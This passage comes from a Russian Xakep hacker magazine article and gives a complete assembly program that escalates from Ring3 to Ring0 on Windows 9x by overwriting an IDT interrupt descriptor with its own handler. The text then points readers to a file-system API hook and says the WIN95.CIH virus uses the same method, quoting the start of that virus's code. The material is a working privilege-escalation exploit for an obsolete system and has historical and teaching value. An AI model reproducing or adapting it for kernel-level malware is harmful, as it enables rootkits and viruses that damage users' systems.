Ring0 Shen (_shen_@mail.ru) Спецвыпуск Xakep, номер #035, стр. 035-062-5 Однако, мы задержались, пора домой: iret Прежде чем выходить, нужно восстановить адрес старого обработчика: mov eax,dword ptr [saved] mov word ptr [ebx],ax shr eax,16 mov word ptr [ebx+6],ax А теперь можно и завершаться: push 00h call ExitProcess Полный текст программы ; Ring0.asm ; компиляция: ; tasm32 /ml Ring0.asm ; tlink32 Ring0.obj,,,import32.lib .386p ; нам понадобится привилегированная команда sidt .model flat extrn ExitProcess:proc extrn MessageBoxA:proc intnum equ 04h ; лучше перехватывать малоиспользуемые прерывания .data idtr df 0 ; сюда мы сохраним IDTR saved dd 0 ; сюда мы сохраним адрес старого обработчика capt db "Message!",0 text1 db "At Ring3 now. Boring.",0 text2 db "I've just returned from Ring0!",0 .code start: push 00h push offset capt push offset text1 push 00h call MessageBoxA ; найдем адрес IDT и нужного нам дескриптора sidt fword ptr [idtr] ; сохраняем IDTR в переменную idtr mov ebx,dword ptr [idtr+2] ; нам нужен адрес начала, а не предел add ebx,intnum*8 ; переходим на начало нужного дескриптора ; сохраним адрес оригинального обработчика mov ax,word ptr [ebx+6] ; кладем в ax старшее слово адреса обработчика shl eax, 16 ; сдвигаем его в старшее слово eax mov ax,word ptr [ebx] ; кладем в ax младшее слово адреса обработчика mov dword ptr [saved],eax ; сохраняем ; меняем адрес обработчика на адрес нашей процедуры mov eax, offset ring0code ; кладем в ax смещение процедуры mov word ptr [ebx],ax ; заменяем младшее слово адреса shr eax,16 ; сдвигаем старшее слово eax в младшее mov word ptr [ebx+6],ax ;заменяем старшее слово адреса ; уходим в Ring0 int intnum ; восстанавливаем адрес оригинального обработчика mov eax,dword ptr [saved] mov word ptr [ebx],ax shr eax,16 mov word ptr [ebx+6],ax ; сообщим миру, что мы пережили это путешествие push 00h push offset capt push offset text2 push 00h call MessageBoxA ; выходим push 00h call ExitProcess ; в пределах этой процедуры мы имеем наивысший уровень привилегий ring0code: ; здесь мы можем делать что угодно, ; ведь мы уже в нулевом кольце! iret ; возвращаемся в обыденность end start Что дальше? Что делать, оказавшись в нулевом кольце? Открывать Win95DDK и учиться пользоваться VxD-сервисами. Тебе наверняка понравится функция IFSMgr_InstallFileSystemApiHook :). Скажу еще, что этот способ ухода в Ring0 не единственный, но самый простой. И именно этот метод использует небезызвестный WIN95.CIH (HookExceptionNumber – номер перехватываемого исключения, MyExceptionHook – процедура инициализации вируса на нулевом кольце): push eax sidt [esp-02h] |